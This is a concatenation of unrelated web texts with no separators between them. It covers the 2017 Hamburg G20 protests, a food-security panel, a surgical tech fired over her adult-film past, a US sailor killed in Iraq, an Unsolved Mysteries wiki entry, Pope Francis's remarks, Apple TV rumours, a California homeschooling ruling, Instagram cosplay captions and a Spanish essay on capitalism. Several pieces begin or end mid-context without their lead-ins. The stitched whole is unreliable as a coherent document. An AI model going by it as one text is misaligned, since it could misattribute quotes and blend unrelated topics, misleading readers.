Ahead of this week's mass demonstrations, the NoG20 International Coordination said in a statement: "The politics of neoliberalism and war is decided in the heart of our cities, closed off to citizens, protected by a militarized police force and backed up by the suspension of political rights. This shutting-down of democracy has one purpose only: to defend the indefensible. Our demonstrations speak for and of a different world."
In recent days, officials established a 15-square-mile no-protest zone around the airport and convention center, putting distance between world leaders and the thousands of people protesting the summit.
"It is very disturbing to know that some of the worst and most antidemocratic politicians will be coming to my city," George Letts, one of many Hamburg residents who have joined protesters who have traveled from across the globe for the demonstrations, told The Guardian. "A lot of people in the city want to show how democracy works as a sign to the Trumps, Erdoğans and Putins of the world. But the hard restrictions by the local politicians and police authorities make it difficult to demonstrate."
The BBC reports "clashes began when police charged a group of anti-capitalist demonstrators at the march attended by thousands carrying banners with slogans such as 'Welcome to hell' and 'Smash G20'. They fired water cannon and pepper spray at masked protesters, who hurled bottles, stones and flares at police."
Police use water cannons as they clash with activists protesting the G-20 summit in Hamburg, Germany. https://t.co/NATXlo9ARX pic.twitter.com/Na2lEvhtyL — ABC News (@ABC) July 6, 2017
Police told the Telegraph that violence ensued after protesters donning black face masks refused officers' requests to remove them. "G20: Welcome to Hell" is a slogan claimed by a group of anti-globalization activists—one of several groups that registered to demonstrate in Hamburg this week. Today's "Welcome to Hell" march was officially cancelled amid the clashes with law enforcement, but many remain in the streets. There have been reports of injuries among police forces and protesters, many of whom have attempted to flee demonstration areas following the violent encounters.
BREAKING: 1000s of protesters and police clashing outside G20 in Hamburg; protesters fleeing over wall. https://t.co/36dwuHKNcu — NBC Nightly News (@NBCNightlyNews) July 6, 2017
Despite today's clashes, more peaceful protests earlier this week highlighted demonstrators' urgent demands that G20 leaders reconsider their favored nationalist and neoliberal policies on war, immigration, environmental policy, and a slate of other issues.
On Wednesday, Hamburg saw a thousand "zombies" covered fully in grey clay, stumbling and crawling down the city's streets. These political zombies have popped up across the city in recent days, culminating in a march against "political apathy" and the "destructive impact of capitalism."
For those who look past the violent videos flashing across televisions screens around the world on Thursday, activists flooding Germany's streets offer complex and provocative challenges to how global superpowers enact policies and press their agendas.
"The world is in chaos. And Trump is a kind of symbol of that. But at the same time, there’s more energy than I’ve seen for a very long time behind the idea that we need to build something else, something very different."
—Nick Dearden, Global Justice Now
"For anyone with the ambition of constructing a true democratic politics beyond borders, the best ideas aren’t likely to come out of the official G20 Summit but to be found on the streets of Hamburg," Lorenzo Marsili and Giuseppe Caccia wrote for Policy Critique. "Today's crisis of global governance also offers the chance to move beyond a system that never truly worked in the first place."
But as Srecko Horvat wrote for Al-Jazeera this week, as much as public demonstrations are "necessary in order to show the massive dissatisfaction with the current global system…. even if there are 150,000 people in the streets, this massive mobilization won't produce any concrete change." In Horvat's view, the global left must continue to offer positive solutions while also creating "a new Non-Aligned Movement, which would work towards implementing these constructive policies."
Discussing shared ambitions to overall global politics, Nick Dearden, of Global Justice Now, said on Democracy Now! Thursday:
"We’re talking about how to build an alternative world. The background noise is the noise of activism. And everybody here is extremely thoughtful. We’re having many debates about the kind of world that we actually want to see, as opposed to the G20 world that’s been created, and really a very vibrant mood. Of course people are scared. I mean, people are scared about what’s happening in the world today. The world is in chaos. And Trump is a kind of symbol of that. But at the same time, there’s more energy than I’ve seen for a very long time behind the idea that we need to build something else, something very different."
With the global population expected to reach 9 billion by 2050, many questions about food security remain unanswered, and this panel, along with a recent UK government report, seek to provide some of those answers.
Food system failures
Professor Beddington began by giving a brief overview of the report, also entitled The Future of Food and Farming, stating that the case for urgent action in the global food system is now compelling, and denying the "foul slander that I've been buying wheat futures to drive the price up." Although he was able to inject some levity, it is a deeply serious and somewhat worrying issue.
Facing a convergence of threats, the global food system is failing. Each month, the global population grows by another 6 million, and an ever-wealthier world means one with more purchasing power, which drives up prices. Currently, with the global population at 7 billion and change, more than a billion of those go to bed hungry, and another billion suffer from malnutrition. And trends suggest that things will get worse. 2010 was the first year when more people lived in urban rather than rural environments; by 2050, we're going to need 30 percent more food and 40 percent more water than is currently available.
Beddington's key message was that not acting is not a viable option, and a radical redesign of the global food system is a must.
As laid out in the report linked above, the system is failing when it comes to both sustainability and ending hunger. Agriculture consumes around 70 percent of available water, and that figure rises to more than 80 percent in the developing world. Rivers and aquifers are being overexploited, including here in the US. Of 11.5 billion hectares (about 28 billion acres) of land being used for food production, more than 25 percent has undergone human-induced soil degradation.
Agriculture is also contributing between 10 and 12 percent of the emissions that drive climate change. And, even with immediate policy changes, climate change has locked in weather changes for the next 20 years, which will have an impact on food production. The 2007-08 food price spike put millions into poverty, and the signs are there that these food price spikes will continue to happen. Last year's Russian heat wave halved its harvest, and floods in Pakistan have been doing its food production no favors either.
Finding viable options
Charles Godfrey followed Beddington's scene-setting by discussing some of the report's policy options for addressing these problems, ones that were measured against their potential for sustainability and the needs of the poorest. First off, adding new agricultural land and fisheries is a nonstarter. While it might have been an option 50 years ago, today no one is realistically going to plow up the Amazon and Congo basins—it would be insane both ecologically and economically. Existing agricultural land can be restored, but sustainable intensification of current farming practices will be critical.
The report calls for more innovation to increase production. That means using the potential benefits of GM crops and other biotech approaches, although these won't be a cure-all. There's room for improvement on the consumption end, too, as 30 percent of food never makes it into a human stomach; in the developed world, we let produce slowly rot in the backs of our fridges, and the developing world, farm wastage causes a similar problem.
We will also need to address the threat of future volatility in the food system, which is likely to increase, driven by climate change and amplified by political and economic factors. According to Godfrey, we will need reliable rules-based international trade. More research is also needed on global and national systems of grain reserves. These food reserves could be combined with appropriate insurance for poor farmers so they're not just a drain on national finances.
Focusing on food production to end hunger should show a triple benefit. It makes food, but it also increases rural income, and reaches sectors of society that aren't well served now, such as women in the developing world. Reform also means engaging with producers and dealing with issues such as land grabs and land rights. Godfrey argued that this doesn't mean that either small holders or huge agrifarms are the answer—there will need to be a balance.
Climate change, and the challenges of a low-emission world, will also need to be taken into account. Farming accounts for at least 10 percent of global greenhouse gas emissions; include land conversion, and this rises to 30 percent. Methane is produced by ruminants and rice farming, and nitrates from fertilizers. These will need to be included in future climate negotiations, assuming we're actually able to make those work. Godfrey noted that we're also going to need to align conservation, biodiversity and food security agendas.
Food security in the developing world
IFPRI 's Shenggen Fan discussed the problem of food security in emerging and developing economies. The lofty Millennium Development Goal of halving hunger is off-track; it aimed to reduce the number of people in hunger to 584 million by 2015, but projections suggest that number will be closer to a billion. Twenty-nine countries, mainly in Africa (but also in Asia), have alarming or extremely alarming levels of hunger.
Rising energy prices influence food security, with a correlation between food price and oil price that has become stronger over time, first increasing food production costs, and later by encouraging the diversion of food stocks into biofuel production. Fan also stressed similar policies to the ones suggested by Godfrey: promoting agricultural growth (although this won't fix everything), and a new development agenda that addresses price volatility, biofuel subsidies and mandates, and provides global physical grain reserves for times of emergencies.
This won't fix everything, especially for countries that suffer from famine, given that famines are usually political in nature. Food shortages can often be overcome by having people move to where there is food, or having food brought in, so famines happen when that kind of mobility is prevented, usually by men with guns.
Nina Fedoroff summarized the challenges, stressing that we will need to reduce our agricultural footprint, use of fresh water, pollution, and adapt crops for a hotter, drier world—all at the same time as doubling global food supply. She praised the role of biotech and molecular crop improvement; transgenic crop Bt maize has the potential to reduce the 25 million annual cases of pesticide poisoning. But the promise of GM has been very slow to materialize; after 50 years, we only have GM cotton, canola, and soy. Even golden rice is not on the market, having been held up in regulatory testing for over a decade. Changing this will require better public acceptance and a relaxation of regulations.
Fedoroff also stressed the need to rethink agriculture as a complete system. Currently, there's far too much nitrogenation, in part because we grow lots of grain to feed animals, but make little use of the plant nutrients that animals excrete. Major crops are very water-inefficient, yet we're depleting non-renewable water resources to grow temperate crops in non-temperate regions. In Saudi Arabia, 88 percent of the water went to grain production until 2008, at which point its wheat production collapsed. The country switched to other crops, but their aquifers are predicted to be empty within 25-30 years.
Water-efficient agriculture is possible. Restorative aquaculture technology and techniques can cycle nutrients between crops and aquaculture, even making use of saltwater without desalination. Fedoroff suggested we learn from the organic system, but do it smartly, avoiding many of its key limitations.
In a message that wasn't popular with everyone attending the session, Fedoroff said that we need to stop romanticizing small farmers. The solutions to future food production can't and shouldn't be an either-or between them and large agrifarms. She claimed that big food companies' objectives do align with sustainability needs, but they're villainized unreasonably. Nestlé benefits from adopting small farm techniques that decrease contamination, and farmers benefit from stable access to customers.
"Everybody wanted me in their room, but they started treating me like [bleep]. They made me feel like I was contaminating everything," says the scorned surgical tech who goes by the stage name Gauge in this article entitled "Fired for doing porn: The new employment discrimination."
By the time she was set to graduate, she says no one at the unnamed hospital would sign off on her required hours. In this YouTube video, Gauge discusses how it's become increasingly difficult for former adult stars to conceal their past from their employers. She says she even spotted OR staff members looking her up on the company computer in the nurse's lounge.
"I probably could have sued, but I was more heartbroken than anything," she says. "It's not like I'm a child molester. It's not like I'm a convicted felon." Gauge is now back in the porn industry after leaving in 2005.
How would you handle such a situation at your facility? Would you hire a qualified and competent person to work in your ORs who had a checkered past? Share your thoughts here.
U.S. Navy Petty Officer 1st Class Charles Keating was killed in the attack. Keating is the third U.S. service member to be killed in combat in Iraq since forces returned there in 2014.
"Obviously, had we had the forces there, been able to see this attack coming, they would have responded differently to it," Pentagon press secretary Peter Cook said. “Perhaps this could have been avoided. That's certainly something that we're looking at carefully. This particular attack was not anticipated and we were forced to respond."
Keating, 31, was shot when he and other special operations forces went to the rescue of U.S. forces who were caught in a gun battle involving more than 100 ISIS fighters, Army Col. Steve Warren said Wednesday.
The small team of American advisers went to Tel Askuf, about 14 miles north of Mosul, to meet with Kurdish Peshmerga troops Tuesday morning. Warren said ISIS fighters launched a large, complex attack on the Peshmerga there around 7:30 a.m. local time, with armored Humvees and bulldozers, and broke through the front lines.
Warren said it was one of the largest attacks that ISIS had launched in recent months, and it came in the wake of several recent defeats of militants in that region.
Warren said Keating was hit at about 9:30 a.m. and was evacuated for medical treatment, but "his wound was not survivable."
He said Keating was taken to a medical facility in Irbil and that both of the Black Hawk medical evacuation helicopters were hit by small arms fire.
According to Warren, even as the U.S. advisers were being rescued from the fight, a barrage of coalition aircraft — including F-15 and F-16 fighter jets, B-52 bombers, A-10 close air support aircraft and drones — responded and launched airstrikes on more than 30 locations, destroying truck bombs, vehicles and bulldozers and killing close to 60 enemy fighters. He said the peshmerga have regained control of the town.
Warren declined to release details about the quick reaction force, other than to note that often such teams are set up and put on standby when U.S. forces go out on missions in dangerous areas. The team of commandos is usually stationed relatively close by so that it can respond quickly if needed.
Cook was asked whether Defense Secretary Ash Carter was looking for ways to make the U.S. advisory mission less dangerous.
"We had a fatality of a U.S. service member and that requires hard questions," Cook said. "And so, we are looking at the situation in terms of force protection." He added: "And of course we'll be reassessing force protection going forward."
Nicknames: Alex
Location: Los Angeles, California
Date: 1985
Bio Edit
Occupation: Unrevealed
Date of Birth: 1959
Height: Unrevealed
Weight: Unrevealed
Marital Status: Married
Characteristics: At the time he was last seen, Alex was living on the streets, was married, and had two small children.
Case Edit
Details: Alejandro "Alex" Espinoza made an anonymous call to the Los Angeles Police on August 26, 1985, and revealed that he knew the identity of the serial killer nicknamed the Night Stalker. The Night Stalker had terrorized Los Angeles for several months, killing at least thirteen people. When Alejandro contacted the police, the investigators felt that his information was legitimate.
At 3 pm that day, he met with police and gave more information about the man he knew as "Richard", who was actually twenty-five-year-old Richard Ramirez. Alejandro said he and Ramirez carpooled when both found jobs as day workers, but he grew suspicious when he was asked to make frequent stops at out of the way places where Ramirez would give goods to an unknown man in Echo Park who in turn would give Ramirez cash. Alejandro suspected the man was a fence (slang for one who buys and resells stolen or illegal items), and Ramirez was selling stolen property. Alejandro noticed that after every visit to the "fence", there would be a news story about another burglary or murder in the area.
Three days after Alejandro met with police, a fingerprint found at one of the crime scenes was matched to Ramirez. The detectives met with Alejandro and showed him Ramirez's booking photo. He identified the man in the photo as his friend Richard. The next day, Ramirez was officially identified as the prime suspect in the Night Stalker case. Within a few hours, he was captured by a group of angered citizens after he attempted to steal a car.
On September 20, 1989, Ramirez was convicted of thirteen counts of murder and sentenced to death. Alejandro is due a reward of at least $6,000 because of his help, but no one knows where he is or if he is still even alive. He was twenty six years old in 1985, and possibly had a wife and two children. Neither he nor his family have ever been located, and he has never collected the reward.
Suspects: Foul play is not suspected in his disappearance.
Extra Notes: This segment ran on the February 21, 1990 episode. The Night Stalker case was also featured on Cold Case Files.
Results: Unsolved. Richard Ramirez died of liver failure on June 7, 2013, while awaiting execution in San Quentin State Prison. Alejandro Espinoza remains missing. If his death is confirmed, then either his wife or one of his children would become eligible for the cash reward.
Pope Francis has said that the Roman Catholic Church should apologise to gay people for the way it has treated them.
He told reporters that the Church had no right to judge the gay community, and should show them respect.
The pontiff also said the Church should seek forgiveness from other people it had marginalised - women, the poor, and children forced into labour.
The Pope has been hailed by many in the gay community for his positive attitude towards homosexuals.
But some conservative Catholics have criticised him for making comments they say are ambiguous about sexual morality.
Speaking to reporters on his plane returning from Armenia, the Pope said: "I will repeat what the catechism of the Church says, that they [homosexuals] should not be discriminated against, that they should be respected, accompanied pastorally."
Pope Francis said the Church should seek forgiveness from those whom it had marginalised.
Image copyright EPA Image caption The Pope and Armenian patriarch Catholicos Karekin II released doves of peace near Mt Ararat
"I think that the Church not only should apologise... to a gay person whom it offended but it must also apologise to the poor as well, to the women who have been exploited, to children who have been exploited by [being forced to] work. It must apologise for having blessed so many weapons."
In 2013, Pope Francis reaffirmed the Roman Catholic Church's position that homosexual acts were sinful, but homosexual orientation was not.
"If a person is gay and seeks God and has good will, who am I to judge?" he said then.
Media playback is unsupported on your device Media caption Pope Francis speaking to journalists about the EU: "Let's not throw the baby out with the bath water"
In other remarks on Sunday, the Pope said he hoped the European Union would be able to recover following the UK's decision to leave.
"There is something that is not working in that bulky union, but let's not throw the baby out with the bath water, let's try to jump-start things, to re-create," he said.
Image copyright AP Image caption Thousands of Armenians travelled to see the Pope during his visit
During his visit to the Armenian capital, Yerevan, the Pope described the mass killing of Armenians under Ottoman Turkish rule in World War One as "genocide".
Turkey has always disputed the numbers killed and angrily rejects the term "genocide".
In response, Turkish deputy prime minister Nurettin Canikli said the Pope's comments were "very unfortunate" adding it was "possible to see all the reflections and traces of crusader mentality in the actions of the papacy".
The Information's sources say that Apple engineers are now being told to work "off of timelines that assume a launch next year." Whether this new box would replace or augment the current $99 Apple TV box is not clear. Several reports have pointed to some new kind of Apple TV device coming out this year, but so far no updates have materialized. The first reports claimed that a new box would be released in the first half of 2014, which has already come and gone, and later rumors said "by Christmas."
In addition to a new interface and a deeper well of content to draw from, other rumors have suggested that Apple could position a new Apple TV box as a mini-game console or that it could serve as a hub for Apple's recently announced HomeKit initiative. While Apple continues to work behind the scenes on its next set-top box, the current Apple TV is competing against an ever-growing list of competitors, including the Roku, Amazon's Fire TV, and Google's Chromecast and upcoming Android TV operating system.
In the meantime, the current-generation Apple TV continues to receive software updates (and new content channels) to keep it in lockstep with iOS, but it has yet to receive an iOS 7 or Yosemite-style makeover. Its hardware hasn't been updated substantially since March of 2012. Older second-generation Apple TVs will no longer receive software updates beginning with iOS 8, and no rumors have stated definitively whether current third-generation models will get the promised UI update when the new box is finally released.
The announcement comes today from the Pacific Justice Institute, whose president, Brad Dacus, described the impact of the decision as “stunning.”
“The scope of this decision by the appellate court is breathtaking,” he said. “It not only attacks traditional homeschooling, but also calls into question homeschooling through charter schools and teaching children at home via independent study through public and private school.”
“If not reversed, the parents of the more than 166,000 students currently receiving an education at home will be subject to criminal sanctions,” he said.
WND broke the story of the ruling against Phillip and Mary Long of Los Angeles.
The decision from the 2nd Appellate Court in Los Angeles granted a special petition brought by lawyers appointed to represent the two youngest children after the family’s homeschooling was brought to the attention of child advocates. The lawyers appointed by the state were unhappy with a lower court’s ruling that allowed the family to continue homeschooling and challenged it on appeal.
Justice H. Walt Croskey, whose opinion was joined by two other judges, then ordered: “Parents who fail to [comply with school enrollment laws] may be subject to a criminal complaint against them, found guilty of an infraction and subject to imposition of fines or an order to complete a parent education and counseling program.”
The determination reversed a decision from Superior Court Judge Stephen Marpet, who ruled “parents have a constitutional right to school their children in their own home.”
As WND has reported, the Longs had their children enrolled in
Sunland Christian School, a private homeschooling program.
But Croskey, without hearing arguments from the school, opined that the situation was a “ruse of enrolling [children] in a private school and then letting them stay home and be taught by a non-credentialed parent.”
Officials with the school said they asked Pacific Justice to work on the Supreme Court appeal because the organization “has been in full compliance with the requirements of the law for more than 23 years.”
“We’ve never been given an opportunity to represent our case in the Court of Appeal,” Terry Neven, the president of the school, said. “Consequently, we are excited that PJI will represent us before the California Supreme Court so that the rights of homeschooling families are preserved.”
The ruling, on which WND previously reported, also issued a further warning of potential penalties for parents, this time in civil court.
It said under a section titled “Consequences of Parental Denial of a Legal Education” that “parents are subject to being ordered to enroll their children in an appropriate school or education program and provide proof of enrollment to the court, and willful failure to comply with such an order may be punished by a fine for civil contempt.”
The school’s website notes it offers a homeschool/independent study program that is accredited. It began in Los Angeles in 1986 with 24 students and now serves more than 3,000 families.
“While SCS is a Christian program, we enroll any family desiring assistance in teaching their own children at home. All we ask is that each family respect our values,” the school said.
“The future of homeschooling (both public and private) in California requires the reversal of this decision,” Neven said.
WND also has reported on concerns expressed by Roy Hanson, chief of the Private and Home Educators of California, about the way the ruling was issued.
“Normally in a dependency court action, they simply make a ruling that will affect that family. It accomplishes the same thing, meaning they would force [the family] to place their minor children into school,” he said.
Such rulings on a variety of issues always are “done in the best interests of the child” and are not unusual, he said.
But in this case, the court said went much further, essentially concluding the state provided no circumstance that allowed parents to school their own children at home.
Specifically, the appeals court affirmed, the trial court had found that “keeping the children at home deprived them of situations where (1) they could interact with people outside the family, (2) there are people who could provide help if something is amiss in the children’s lives, and (3) they could develop emotionally in a broader world than the parents’ ‘cloistered’ setting.”
Further, the appeals ruling said, California law requires “persons between the ages of six and 18” to be in school, “the public full-time day school,” with exemptions allowed only for those in a “private full-time day school” or those “instructed by a tutor who holds a valid state teaching credential for the grade being taught.”
For homeschoolers in California, Hanson said, “there may be everywhere from concern to panic, just based on not knowing what the [ultimate] results will be.”
The Home School Legal Defense Association, the world’s premiere international advocacy organization for homeschoolers, emphasized that the ruling made no changes in California law regarding homeschooling.
While the decision from the appeals court “has caused much concern among California homeschoolers,” the HSLDA said, there are no immediate changes any homeschoolers need to address.
The Longs earlier told WND they also are considering an appeal to the state Supreme Court because of the impact of the order for their family, as well as the precedent that could be construed.
They have disputed with local officials over homeschooling and other issues for years, they said. In at least two previous decisions, courts affirmed their right to homeschool, they said.
The current case was brought by two attorneys who had been appointed by the state to represent the family’s minor children in a dependency case stemming from accusations of abuse that resulted from the parents’ decision to impose discipline on their children with spankings. The case actually had been closed out by the court as resolved when the lawyers filed their special appeal.
Phillip Long has told WND he objects to the pro-homosexual, pro-bisexual, pro-transgender agenda of California’s public schools, on which WND previously has reported.
“We just don’t want them teaching our children,” he told WND. “They teach things that are totally contrary to what we believe. They put questions in our children’s minds we don’t feel they’re ready for.
(Swipe ⬅️ for full series) Finally updated the original and finished my #spidermanintothespiderverse #digitalart #selfie series because I was totally inspired by the art, storytelling and music meshed so well it made me want to create my own artwork so I took a cue from my previous #spiderman and #maryjanewatson selfie series this time with #milesmorales and his #spiderverse crew look out for more in the series coming soon! #spidergwen #peterparker #peterbparker #gwenstacy #spidermannoir #peniparker #ultimatespiderman #amazingspiderman #peterporker #spiderham #marvel #disney #sony #sonyanimation #cosplay #anime #starwars #jedi #eastbaycomiccon #sacanime #stocktoncon #comiccon
Once again from the beginning… Into the Obi-Verse (photo edit swipe left for regular non-obi-verse edit) adventure at #eastbaycomiccon with #herasyndulla @winters.lore and her new members of the ghost crew which include #redleader #rebelfleettrooper @hotrodsmitty #wintersoldier and the #punisher @house_o_jade and a lil #jedi Thank you all again for always taking the time for a super fun pic adventure and for just being awesome! Until the next adventure #maytheforcebewithyou #starwars #jedi #obiwankenobi #disney #cosplay #cosplayer #anime #eastbaycomiccon2019 #ebcc #sacanime #stocktoncon #comiccon #captainamerica #buckybarnes #beckybarnes #marvel #mcu #avengers #thewintersoldier #xwing #xwingpilot #punishercosplay #mcu #frankcastle
Once again from the beginning… Into the Obi-Verse (photo edit swipe left for regular non-obi-verse edit) adventure at #eastbaycomiccon with the always amazing one half of the amazing #cosplaycouple duo of @cosplayian_royalty in her awesome #wasp #cosplay As always Thanks again for always taking the time for a super fun pic adventure and for just being awesome! Until the next adventure #maytheforcebewithyou #starwars #jedi #obiwankenobi #disney #cosplay #cosplayer #anime #eastbaycomiccon2019 #ebcc #sacanime #stocktoncon #comiccon #marvel #wasp #waspcosplay #janetvandyne #hopevandyne #marvelcomics #avengers
Once again from the beginning… Into the Obi-Verse (photo edit swipe left for regular non-obi-verse edit) adventure at #eastbaycomiccon with the always amazing one half of the amazing #cosplaycouple duo of @cosplayian_royalty in his awesome battledamaged #superboy #cosplay As always Thanks again for always taking the time for a super fun pic adventure and for just being awesome! Until the next adventure #maytheforcebewithyou #starwars #jedi #obiwankenobi #disney #cosplay #cosplayer #anime #eastbaycomiccon2019 #ebcc #sacanime #stocktoncon #comiccon #dcuniverse #dccomics #superman #superboycosplay #kalel
Once again from the beginning… Into the Obi-Verse (photo edit swipe left for regular non-obi-verse edit) adventure at #eastbaycomiccon with the other half always amazing father/daughter #cosplay duo @house_o_jade in his awesome #punisher #cosplay As always Thanks again for always taking the time for a super fun pic adventure and for just being awesome! Until the next adventure #maytheforcebewithyou #starwars #jedi #obiwankenobi #disney #cosplay #cosplayer #anime #eastbaycomiccon2019 #ebcc #sacanime #stocktoncon #comiccon #punisher #punisherwarjournal #frankcastle #marvel #punishercosplay
Once again from the beginning… Into the Obi-Verse (photo edit swipe left for regular non-obi-verse edit) adventure at #eastbaycomiccon with the always amazing one half of the father/daughter duo of @house_o_jade in her awesome #wintersoldier #cosplay As always Thanks again for always taking the time for a super fun pic adventure and for just being awesome! Until the next adventure #maytheforcebewithyou #starwars #jedi #obiwankenobi #disney #cosplay #cosplayer #anime #eastbaycomiccon2019 #ebcc #sacanime #stocktoncon #comiccon #captainamerica #buckybarnes #beckybarnes #marvel #mcu #avengers #thewintersoldier
Once again from the beginning… Into the Obi-Verse (photo edit swipe ⬅️ for regular non-obi-verse edit) adventure at #eastbaycomiccon with the amazing @nerdoir_cosplay as #poisonivy and @jkat317 as #princessjasmine #harleyquinn #princessharley Thanks for taking the time for a super fun pic adventure and for just being awesome! Until the next adventure #maytheforcebewithyou #starwars #jedi #obiwankenobi #disney #cosplay #cosplayer #anime #eastbaycomiccon2019 #ebcc #sacanime #stocktoncon #comiccon #dcrogues #batmanrogues #dcuniverse #aladdin #gothamcity #gothamcitysirens #harleyquinzel #batman #batmanrogues
Once again from the beginning… Into the #SpiderVerse (photo edit swipe ⬅️ for regular non-spider-verse edit) adventure at #eastbaycomiccon with the amazing @adamserafino and @loni_gunn as the #peterbparker #spiderman and #spidergwen from #spidermanintothespiderverse Thanks for always taking the time for a super fun pic adventures with us and for just being awesome! Until the next adventure #maytheforcebewithyou #starwars #jedi #obiwankenobi #disney #cosplay #cosplayer #anime #eastbaycomiccon2019 #ebcc #sacanime #stocktoncon #comiccon #marvel #spiderman #spidermanintothespiderverse #gwenstacy #peterparker #amazingspiderman #arethosesweatpants #selectingabagel
Once again from the beginning… Into the Obi-Verse (photo edit swipe ⬅️ for regular non-obi-verse edit) adventure at #eastbaycomiccon with the amazing @davedoerner as the terrifying #scarecrow #cosplay from #DC #injustice2 Thanks for taking the time for a super fun pic adventure and for just being awesome! Until the next adventure #maytheforcebewithyou #starwars #jedi #obiwankenobi #disney #cosplay #cosplayer #anime #eastbaycomiccon2019 #ebcc #sacanime #stocktoncon #comiccon #dcrogues #batmanrogues #johnathancrane #scarecrowcosplay #gotham
Going into the #spiderverse (photo edit) with some #pinball adventures with this awesome group of amazing spideys @13_pieces_ as #peterbparker @cooldudepharaoh as #spidernoir @happilyeverjenna as #spidergwen @jessakidding as #amazingspiderman @kazamacosplay as #ironspider @segawdcd as #mcuspiderman and @spiderpool.official as #spiderman thanks everyone and @goldenstatepin for coming together for this awesome photo setup (swipe for regular non-spider verse photo) #eastbaycomiccon #ebcc #marvel #cosplay #anime #comiccon
Into the Obi-Verse adventure at #eastbaycomiccon with the amazing @quitsweatingme as the awesome #zerosuitsamus from #Metroid and #supersmashbros thanks for taking the time for a fun pic adventure and for just being awesome! Until the next adventure #maytheforcebewithyou (swipe for more and regular non obiverse photo 😊) #starwars #jedi #nintendo #samusaran #metroidprime #obiwankenobi #kenobi #disney #cosplay #anime #samuscosplay #samus #comiccon #ebcc #2019eastbaycomiccon #sacanime
Into the Obi-Verse adventure at #eastbaycomiccon with the amazing @winters.lore as the awesome #herasendulla from #starwarsrebels thanks for taking the time for a fun pic adventure and for just being awesome! Until the next adventure #maytheforcebewithyou (swipe for regular non obiverse photo 😊) #starwars #jedi #twilek #obiwankenobi #kenobi #hera #disney #cosplay #anime #rebelalliance #starwarsrebelscosplay #comiccon #ebcc #2019eastbaycomiccon #sacanime
CTXT necesita la ayuda de sus lectores para seguir siendo un medio radicalmente libre e independiente. ¿Nos echas un cable?
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¿Estamos ante el mismo capitalismo que hace 30 o 40 años? ¿Debemos responder ante este desde los mismos parámetros? Las respuestas a estas preguntas son obvias. No, ni el capitalismo es el mismo ni la respuesta puede ni debe ser la misma.
Pero vayamos por pasos. En primer lugar hay que adentrarse en el escenario de los últimos años, la nueva etapa del capitalismo en algunos de sus aspectos mas destacados.
Por un lado en el conflicto entre capital trabajo. Por otro lado, en el conflicto capital biosfera, y por último en los elementos de control político del mismo.
Capital trabajo
Empezando por el primer eje, el capitalismo financiarizado, es el que viene operando en los últimos 30 años. Una de sus principales características está en salarios reales estancados mientras la productividad sigue creciendo y en crecientes niveles de endeudamiento que nutren burbujas de activos más y más grandes. El capitalismo hoy no despliega principalmente su actividad en la producción de riqueza sino en la adquisición de la misma. Mayoritariamente no produce sino que acumula y extrae. Es la expresión no de la transformación, sino de una acumulación sin precedentes. Y por supuesto expulsa a aquellos que no son necesarios volviéndolos invisibles, inexistentes, como bien explica Saskia Sassen.
Para cada unidad de PIB material nos dicen que cada vez es menos central el trabajo, pero en contraste el trabajo es fundamental en la creación de los valores intangibles de los productos y servicios y es el trabajo no remunerado, pero trabajo, el que mantiene una mínima cohesión social-.
Las reformas laborales favorecen la consolidación de un poder discrecional de la dirección de la empresa casi absoluto en la determinación del trabajo en concreto, lo que implica a su vez discrecionalidad – esta es una problemática en la que insistía siempre Bruno Trentin – en la cantidad y calidad de la información de la que disponen los trabajadores que diseñan y ejecutan el mismo. La realidad es que hoy en ningún caso se avanza hacia la flexiseguridad (más flexibilidad con mas seguridad y cobertura social) sino a la flexiexplotación, con flexibilidad combinada con salario de miseria, y en la que el papel de la renta del trabajo cada vez tiene menos de redistributivo. La flexibilidad es resultado de una decisión autoritaria del empresario, no es fruto de los consensos internos alcanzados en la empresa.
Capital biosfera
El capitalismo financiarizado que vive de la extracción también se traduce en la financiarización del territorio y de la ciudad. Esa financiarización se traduce en una depredación del territorio, en la mayor extinción de especies de los últimos milenios, y sin lugar a dudas en la transformación abrupta del planeta, el espacio en el que nacemos, vivimos, respiramos, nos relacionamos o amamos.
Este conflicto entre capital y biosfera tiene una dimensión nueva, ya que puede hacer que ese espacio en el que desarrollan las relaciones humanos sea aún más hostil. Como muestra lo que dice espacio tan poco subversivios como l Departamento de Defensa de EEUU, en su revisión cuatrienal de su Estrategia Nacional de Seguridad incorporaba la siguiente reflexión “El cambio climático, puede exacerbar la escasez de agua y conducir a incrementos notables de los precios de alimentos. Las presiones originadas por el cambio climático influenciarán la competencia por los recursos al tiempo que supondrán cargas adicionales para las economías, sociedades e instituciones de todo el mundo. Estos factores son multiplicadores de amenazas que agravan factores de presión existentes en el exterior como la pobreza, la degradación ambiental, la inestabilidad política y las tensiones sociales”.
Pierre Calame dice que durante el siglo XX es el Estado, quien aseguraba la coherencia horizontal, y la Empresa la que organizaba la coherencia vertical. Pero esa doble dimensión ya no responde a los principales retos de la humanidad en pleno siglo XXI. Este describe tres crisis, las relaciones entre sociedades que deben gobernar los bienes comunes globales, las relaciones entre los seres humanos y las relaciones entre humanidad y la biosfera, siendo esta tercera crisis una de la que va hacer que se acentúan las anteriores.“Hemos entrado –describe Calame- en la era del Antropoceno una era geológica
caracterizada por el impacto cada vez más masivo de las actividades humanas sobre la biosfera”.
Control político
La democracia, entendida como un espacio de definición de contrapoderes, estorba. El socialismo por tanto tiene como aliado los mecanismos democráticos, pero una democracia vinculada no sólo al ejercicio del voto, sino a la garantía de derechos.
En contraste con ello, la desigualdad y la exclusión empujan a nuevas formas del ejercicio del poder que limita su oferta de persuasión a un tercio de la población mientras desarrolla mecanismos de coerción y de limitación democrática para el resto. Tenemos así un sistema de captura de rentas que permite, sin crear riqueza nueva, detraer rentas de la mayoría de la población en beneficio propio, pero además tener el poder suficiente como para impedir un sistema institucional inclusivo, es decir, un sistema que distribuya el poder político y económico de manera amplia, que respete el Estado de derecho y las reglas del mercado libre.
Según Horace Mann en 1846, sólo un «ser aislado, solitario, sin relaciones con la comunidad que lo rodea podría suscribir la arrogante doctrina de la propiedad absoluta.» Hoy las élites apenas tienen entorno. Unas élites que no sólo controlan el flujo internacional del dinero sino también la información, presiden fundaciones e instituciones de enseñanza superior, tienen instrumentos de producción cultural y establecen los términos del debate público. Dicho de otro modo, tener el poder suficiente para condicionar el funcionamiento de una sociedad abierta –en el sentido de Popper– u optimista, en el sentido de Deutsch. En contraste con la “rebelión de las masas” orteguiana hoy pasamos a la rebelión de las élites.
